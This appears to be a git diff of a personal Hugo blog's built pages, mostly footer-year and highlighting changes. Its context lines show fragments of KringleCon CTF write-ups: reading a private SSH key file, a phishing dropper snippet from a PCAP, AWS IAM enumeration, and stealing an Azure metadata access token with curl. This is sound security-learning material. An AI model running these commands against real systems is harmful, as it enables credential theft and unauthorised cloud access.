<a href=../post/page/2/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a class=post-link aria-label="A Tale of a Frugal Home Server" href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/></a></article><nav data-main><a href=#>Previous Page</a>
|
||||
<a href=../post/page/2/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,4 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on lavafroth</title><link>https://lavafroth.is-a.dev/post/</link><description>Recent content in Posts on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Sun, 02 Nov 2025 19:08:46 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/post/index.xml" rel="self" type="application/rss+xml"/><item><title>Algebraic Python Enums</title><link>https://lavafroth.is-a.dev/post/algebraic-python-enums/</link><pubDate>Sun, 02 Nov 2025 19:08:46 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/algebraic-python-enums/</guid><description><p>University has compelled me to use Python despite my preference for Rust,
|
||||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on lavafroth</title><link>https://lavafroth.is-a.dev/post/</link><description>Recent content in Posts on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Thu, 01 Jan 2026 07:24:36 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/post/index.xml" rel="self" type="application/rss+xml"/><item><title>Working With LUKS File Stashes</title><link>https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/</link><pubDate>Thu, 01 Jan 2026 07:24:36 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/</guid><description><p><code>THIS POST IS A DRAFT</code></p>
|
||||
<p>LUKS is an incredible solution for encrypting entire partitions in Linux.
|
||||
Often times, however, we can&rsquo;t afford to create new partitions inside a disk
|
||||
without having to completely format the drive anew.</p>
|
||||
<p>In this post, I will guide you through the process of creating and working
|
||||
with LUKS container files that are encrypted at rest and can be decrypted on
|
||||
demand with knowledge of the passphrase.</p></description></item><item><title>Algebraic Python Enums</title><link>https://lavafroth.is-a.dev/post/algebraic-python-enums/</link><pubDate>Sun, 02 Nov 2025 19:08:46 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/algebraic-python-enums/</guid><description><p>University has compelled me to use Python despite my preference for Rust,
|
||||
primarily due to the machine learning and data science hype. One
|
||||
Rust feature that I dearly miss is enumerable data types
|
||||
that can encapsulate various other data types.</p>
|
||||
@@ -649,7 +655,7 @@ easy to setup Arch for gaming, thanks to programs like <a href="https://lutri
|
||||
code for the program running on the remote server:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e">
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e">
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
|
||||
</span></span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">addIntOvf</span>(<span style="color:#66d9ef">int</span> result, <span style="color:#66d9ef">int</span> a, <span style="color:#66d9ef">int</span> b) {
|
||||
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a <span style="color:#f92672">+</span> b;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(a <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> b <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> result <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>)
|
||||
|
||||
@@ -67,4 +67,4 @@ attributes that describe the timing of a keypress and how we handle the grammar
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/timing-is-key/><span>←</span><span>Timing is Key: A Tale of Keystrokes and Timings</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/2-afternoons-2-languages-2-tuis/><span>2 Afternoons, 2 Languages, 2 TUIs</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/2-afternoons-2-languages-2-tuis/><span>2 Afternoons, 2 Languages, 2 TUIs</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -36,14 +36,14 @@ filesystem. The challenge introduction talked something about keys:</p><blockquo
|
||||
</span></span></code></pre></div><p>Among the files listed, we can find <code>/mnt/vda/home/jailer/.ssh/jail.key.priv</code> whose contents can be listed by running:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cat /mnt/vda/home/jailer/.ssh/jail.key.priv
|
||||
</span></span></code></pre></div><p>This gives us the key <code>082bb339ec19de4935867</code> which can be submitted in our objectives section.</p><h3 id=wireshark-phishing>Wireshark Phishing</h3><p>We begin by saying <code>yes</code> to the challenge, downloading the PCAP file and opening it up in wireshark.
|
||||
The following are the questions, their answers and explanations.</p><ol><li><p>There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?</p><p>Answer: HTTP</p><p>Explanation: We can go to <code>File</code> > <code>Export Objects</code> > <code>HTTP ...</code></p></li></ol><p><img src=../../kringlecon/2022/export-http-objects.png alt="Exporting HTTP objects"></p><ol start=2><li><p>What is the file name of the largest file we can export?</p><p>Answer: <code>app.php</code></p><p>Explanation: In the export objects dialog, we notice the second entry with the largest size (808 kB) has the name <code>app.php</code></p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-19-50.png alt=Screenshot-from-2022-12-11-20-19-50.png></p><ol start=3><li><p>What packet number starts that app.php file?</p><p>Answer: 687</p><p>Explanation: Right before the entry’s name, we see it starts from packet 687</p></li><li><p>What is the IP of the Apache server?</p><p>Answer: <code>192.185.57.242</code></p><p>Explanation: We use the <code>http</code> filter in wireshark. We notice right at the first filtered entry, a GET request goes to <code>192.185.57.242</code></p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-21-06.png alt=Screenshot-from-2022-12-11-20-21-06.png></p><ol start=5><li><p>What file is saved to the infected host?</p><p>Answer: Ref_Sept24-2020.zip</p><p>Explanation: At packet 687, we can inspect the line-based text data for the HTTP response and the embedded script seems to save a blob to the file ‘Ref_Sept24-2020.zip’.</p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-23-02.png alt=Screenshot-from-2022-12-11-20-23-02.png></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// --{snip}--
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>byteNumbers</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> Array(<span style=color:#a6e22e>byteCharacters</span>.<span style=color:#a6e22e>length</span>);
|
||||
</span></span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>byteNumbers</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> Array(<span style=color:#a6e22e>byteCharacters</span>.<span style=color:#a6e22e>length</span>);
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> (<span style=color:#66d9ef>let</span> <span style=color:#a6e22e>i</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>; <span style=color:#a6e22e>i</span> <span style=color:#f92672><</span> <span style=color:#a6e22e>byteCharacters</span>.<span style=color:#a6e22e>length</span>; <span style=color:#a6e22e>i</span><span style=color:#f92672>++</span>) {
|
||||
</span></span><span style=display:flex><span> <span style=color:#a6e22e>byteNumbers</span>[<span style=color:#a6e22e>i</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>byteCharacters</span>.<span style=color:#a6e22e>charCodeAt</span>(<span style=color:#a6e22e>i</span>);
|
||||
</span></span><span style=display:flex><span> }
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>byteArray</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> <span style=color:#a6e22e>Uint8Array</span>(<span style=color:#a6e22e>byteNumbers</span>);
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// now that we have the byte array, construct the blob from it
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>blob1</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> <span style=color:#a6e22e>Blob</span>([<span style=color:#a6e22e>byteArray</span>], {<span style=color:#a6e22e>type</span><span style=color:#f92672>:</span> <span style=color:#e6db74>'application/octet-stream'</span>});
|
||||
</span></span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>blob1</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> <span style=color:#a6e22e>Blob</span>([<span style=color:#a6e22e>byteArray</span>], {<span style=color:#a6e22e>type</span><span style=color:#f92672>:</span> <span style=color:#e6db74>'application/octet-stream'</span>});
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#a6e22e>saveAs</span>(<span style=color:#a6e22e>blob1</span>, <span style=color:#e6db74>'Ref_Sept24-2020.zip'</span>);
|
||||
</span></span><span style=display:flex><span>
|
||||
@@ -181,7 +181,7 @@ Default output format [None]:
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>"IsTruncated"</span>: <span style=color:#66d9ef>false</span>
|
||||
</span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>Now we are asked to <code>get</code> the policy attached to our user. We will use the <code>get-policy</code> subcommand and supply the value of the <code>PolicyArn</code> field from the previous output to the <code>--policy-arn</code> flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam get-policy <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>--policy-arn <span style=color:#e6db74>"arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"</span>
|
||||
</span></span></span><span style=display:flex><span>--policy-arn <span style=color:#e6db74>"arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"</span>
|
||||
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>"Policy"</span>: {
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>"PolicyName"</span>: <span style=color:#e6db74>"TIER1_READONLY_POLICY"</span>,
|
||||
@@ -199,8 +199,8 @@ Default output format [None]:
|
||||
</span></span><span style=display:flex><span> }
|
||||
</span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>We need to view the default version of the policy.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam get-policy-version <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>--policy-arn <span style=color:#e6db74>"arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>--version-id v1
|
||||
</span></span></span><span style=display:flex><span>--policy-arn <span style=color:#e6db74>"arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span>--version-id v1
|
||||
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>"PolicyVersion"</span>: {
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>"Document"</span>: {
|
||||
@@ -493,7 +493,7 @@ Just in case they try this again, please alert on that HTTP data with message Su
|
||||
We submit this in our set of objectives and that solves this challenge. Easy? I’ll take it.</p><h3 id=exploit-a-smart-contract>Exploit a Smart Contract</h3><p>This challenge asks us to exploit flaws in a smart contract to buy ourselves a Bored Sporc NFT. Let’s go to the presale page of The Bored Sporc Rowboat Society.
|
||||
The presale price for a Sporc is 100 KringleCoin (KC). At this point, I checked my wallet balance and it turned out to be 455 KC, enough to buy 4 of these NFTs. First we have to pre-approve 100 KC to the address provided.
|
||||
Looking at the source code of the presale page (hit <code>^u</code> or follow the images), especially <code>https://boredsporcrowboatsociety.com/bsrs.js</code>, we find that the root address of the Merkle tree is being sent in the AJAX POST request.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-12-10-45-37.png alt=Screenshot-from-2022-12-12-10-45-37.png></p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-12-10-50-19.png alt=Screenshot-from-2022-12-12-10-50-19.png></p><p>Check out the last line of the following snippet from <code>bsrs.js</code>:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// --{snip}--
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>
|
||||
</span></span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>address</span> <span style=color:#f92672>=</span> document.<span style=color:#a6e22e>getElementById</span>(<span style=color:#e6db74>"wa"</span>).<span style=color:#a6e22e>value</span>;
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>proof</span> <span style=color:#f92672>=</span> document.<span style=color:#a6e22e>getElementById</span>(<span style=color:#e6db74>'proof'</span>).<span style=color:#a6e22e>value</span>;
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>root</span> <span style=color:#f92672>=</span> <span style=color:#e6db74>'0x52cfdfdcba8efebabd9ecc2c60e6f482ab30bdc6acf8f9bd0600de83701e15f1'</span>;
|
||||
@@ -637,4 +637,4 @@ dialogues.</p></section><footer class=post-tags data-pagefind-meta=tags><a href=
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wireshark class=list-tag>Wireshark</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-some-assembly-required-3/><span>←</span><span>Some Assembly Required 3</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><span>Pixelated</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><span>Pixelated</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -416,7 +416,7 @@ scanned 1 barcode symbols from 1 images in 0.28 seconds
|
||||
</code></pre><p>The QR code links to <a href=https://8bitelf.com>https://8bitelf.com</a> which has the text</p><pre tabindex=0><code>flag:santaconfusedgivingplanetsqrcode
|
||||
</code></pre><p>We can submit the flag in our objectives to mark this complete.</p><h2 id=elf-the-dwarfs-gloriously-unfinished-adventure---vol2>Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol2</h2><p><img src=../../kringlecon/2023/elf-the-dwarf-vol2-00-tinsel-upatree.avif alt="Tinsel Upatree tells us: “Did you know that many games had multiple versions released? Word is: volume 2 has 2 versions!”"></p><p>Hint:</p><blockquote><ol><li>This feels the same, but different!</li><li>If it feels like you are going crazy, you probably are! Or maybe, just maybe, you’ve not yet figured out where the hidden ROM is hiding.</li><li>I think I may need to get a DIFFerent perspective.</li><li>I wonder if someone can give me a few pointers to swap.</li></ol></blockquote><p>To focus on the game, let’s open the iframe in a new tab.</p><p>There are two versions of the game, where the player is either above or below a treeline with an invisible wall in the middle of the map.
|
||||
We want the player to be able to teleport to the other side of the invisible wall.</p><p>In the devtools Sources tab, we can look at the script being loaded under <code>js/script.js</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// Load a ROM.
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>(<span style=color:#66d9ef>async</span> <span style=color:#66d9ef>function</span> <span style=color:#a6e22e>go</span>() {
|
||||
</span></span></span><span style=display:flex><span>(<span style=color:#66d9ef>async</span> <span style=color:#66d9ef>function</span> <span style=color:#a6e22e>go</span>() {
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>ranNum</span> <span style=color:#f92672>=</span> Math.<span style=color:#a6e22e>round</span>(Math.<span style=color:#a6e22e>random</span>()).<span style=color:#a6e22e>toString</span>()
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>filename</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>ROM_FILENAME</span> <span style=color:#f92672>+</span> <span style=color:#a6e22e>ranNum</span> <span style=color:#f92672>+</span> <span style=color:#e6db74>".gb"</span>;
|
||||
</span></span><span style=display:flex><span> <span style=color:#a6e22e>console</span>.<span style=color:#a6e22e>log</span>(<span style=color:#a6e22e>filename</span>);
|
||||
@@ -502,7 +502,7 @@ We have a cookie called “ElfHunt_JWT” with the JWT value of “e
|
||||
</span></span></code></pre></div><p>We could play the game by lowering the speed but there’s an even easier way.</p><p>Looking at the first line of the update function in the loaded <code>script.js</code>,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>function</span> <span style=color:#a6e22e>update</span>() {
|
||||
</span></span><span style=display:flex><span> <span style=color:#a6e22e>score</span> <span style=color:#f92672>>=</span> <span style=color:#ae81ff>75</span> <span style=color:#f92672>&&</span> (<span style=color:#a6e22e>sessionJWT</span>.<span style=color:#a6e22e>w</span> <span style=color:#f92672>=</span> <span style=color:#f92672>!</span><span style=color:#ae81ff>0</span>, document.<span style=color:#a6e22e>cookie</span> <span style=color:#f92672>=</span> <span style=color:#e6db74>`</span><span style=color:#e6db74>${</span><span style=color:#a6e22e>sessionKeyName</span><span style=color:#e6db74>}</span><span style=color:#e6db74>=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.</span><span style=color:#e6db74>${</span><span style=color:#a6e22e>btoa</span>(<span style=color:#a6e22e>JSON</span>.<span style=color:#a6e22e>stringify</span>(<span style=color:#a6e22e>sessionJWT</span>))<span style=color:#e6db74>}</span><span style=color:#e6db74>.; path=/; secure; samesite=none;`</span>, <span style=color:#a6e22e>gameScene</span>.<span style=color:#a6e22e>scene</span>.<span style=color:#a6e22e>pause</span>(), window.<span style=color:#a6e22e>location</span>.<span style=color:#a6e22e>reload</span>())
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// rest of the function
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
|
||||
</span></span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>we notice that the moment the score is greater than or equal to 75, the <code>w</code> property of the sessionJWT is set to true, the document cookie is
|
||||
updated, the game is paused and the window is refreshed. There is no apparent <code>if-else</code> condition here because the script uses some clever javascript
|
||||
code using the <code>antecedent && consequent</code> pattern. Since the operands ANDed are lazily evaluated, we just need to set the score to 75 or above.</p><p>In devtools console, we simply add the following code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#a6e22e>speed</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>75</span>
|
||||
@@ -537,7 +537,7 @@ We can exit this interface by interrupting it with <code>ctrl</code> <code>c</co
|
||||
</span></span></code></pre></div><p>Let’s save this access token to an environment variable so that we can use it for subsequent requests. Since we have to use the token in the <em>Authorization</em>, we set another environment variable to the header value itself.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>TOKEN<span style=color:#f92672>=</span><span style=color:#66d9ef>$(</span>curl --http1.1 <span style=color:#e6db74>'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'</span> --header <span style=color:#e6db74>"Metadata: true"</span> | jq -r .access_token<span style=color:#66d9ef>)</span>
|
||||
</span></span><span style=display:flex><span>HEADER<span style=color:#f92672>=</span><span style=color:#e6db74>"Authorization: Bearer </span>$TOKEN<span style=color:#e6db74>"</span>
|
||||
</span></span></code></pre></div><p>Let’s now retrieve the subscriptions and resources.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>"</span>$HEADER<span style=color:#e6db74>"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>https://management.azure.com/subscriptions?api-version<span style=color:#f92672>=</span>2022-12-01
|
||||
</span></span></span><span style=display:flex><span>https://management.azure.com/subscriptions?api-version<span style=color:#f92672>=</span>2022-12-01
|
||||
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>"value"</span>: [
|
||||
</span></span><span style=display:flex><span> {
|
||||
@@ -565,7 +565,7 @@ We can exit this interface by interrupting it with <code>ctrl</code> <code>c</co
|
||||
</span></span><span style=display:flex><span> }
|
||||
</span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>Now that we have the subscription ID <code>2b0942f3-9bca-484b-a508-abdae2db5e64</code>, we can use this to further drill down the resource ID.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>"</span>$HEADER<span style=color:#e6db74>"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version<span style=color:#f92672>=</span>2021-04-01
|
||||
</span></span></span><span style=display:flex><span>https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version<span style=color:#f92672>=</span>2021-04-01
|
||||
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>"value"</span>: [
|
||||
</span></span><span style=display:flex><span> {
|
||||
@@ -585,7 +585,7 @@ We can exit this interface by interrupting it with <code>ctrl</code> <code>c</co
|
||||
</span></span><span style=display:flex><span> ]
|
||||
</span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>We use the name of the azure website as the site name. This is the <code>northpole-ssh-certs-fa</code> subdomain in <a href=https://northpole-ssh-certs-fa.azurewebsites.net/>https://northpole-ssh-certs-fa.azurewebsites.net/</a>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>"</span>$HEADER<span style=color:#e6db74>"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version<span style=color:#f92672>=</span>2022-03-01
|
||||
</span></span></span><span style=display:flex><span>https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version<span style=color:#f92672>=</span>2022-03-01
|
||||
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>"id"</span>: <span style=color:#e6db74>"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web"</span>,
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>"name"</span>: <span style=color:#e6db74>"northpole-ssh-certs-fa"</span>,
|
||||
@@ -669,22 +669,22 @@ the public key is present in the <code>/jwtDefault/keys/capsPubKey.key</code>.</
|
||||
</span></span></code></pre></div><p>Chimney Scissorsticks told us that the captain likes to abbreviate words in his filenames. With that in mind, we can probe for the existence of <code>rDecoder.tok</code> using the newfound <code>rMonitor.tok</code> token for authorization.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/rDecoder.tok
|
||||
</span></span></code></pre></div><pre tabindex=0><code>Invalid authorization token provided.
|
||||
